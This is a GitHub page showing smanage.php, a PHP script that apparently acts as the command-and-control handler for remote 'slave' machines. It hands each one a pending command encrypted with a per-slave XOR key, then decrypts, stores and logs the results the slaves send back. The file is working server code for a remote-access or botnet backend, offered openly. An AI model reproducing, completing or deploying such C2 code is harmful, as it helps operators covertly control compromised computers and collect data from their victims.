-
Notifications
You must be signed in to change notification settings - Fork 1
/
smanage.php
52 lines (49 loc) · 1.59 KB
/
smanage.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
include 'conn.php';
include 'chcksid.php';
include 'functions/retrieveAndShow.function.php';
include 'functions/updateLogs.function.php';
include 'ipAndUserAgent.php';
include 'functions/retrieveKey.function.php';
// Check if spesific command is setted for slave
if (!isset($_POST["rspns"]))
{
$command = showCommand($str, $conn);
if(strpos($command, 'error'))
{
updateLogs($conn, "Error","Error while trying to send command", $agent,$str,$ip);
}
else {
$xorKey = retrieveXorKey($conn, $str);
if(!strpos($xorKey, 'error'))
{
$encryptedCommand = encrypt($command, $xorKey);
echo $encryptedCommand;
}
else{
updateLogs($conn, "Error","Error while retrieving xor key", $agent,$str,$ip);
}
}
}
else
{
$xorKey = retrieveXorKey($conn, $str);
if(!strpos($xorKey, 'error'))
{
if( 3 * (strlen($_POST["rspns"]) / 4) < 500000){
$response = decrypt($_POST["rspns"], $xorKey);
$retrievedResponse = retrieveResponse($response, $str, $conn);
}
else{
$retrievedResponse = retrieveResponse("Content bigger than 1mb, try to get it as file", $str, $conn);
}
if(strpos($retrievedResponse, 'error'))
{
updateLogs($conn, "Error","Error while trying to retrieve response", $agent,$str,$ip);
}
}
else{
updateLogs($conn, "Error","Error while retrieving xor key", $agent,$str,$ip);
}
}
?>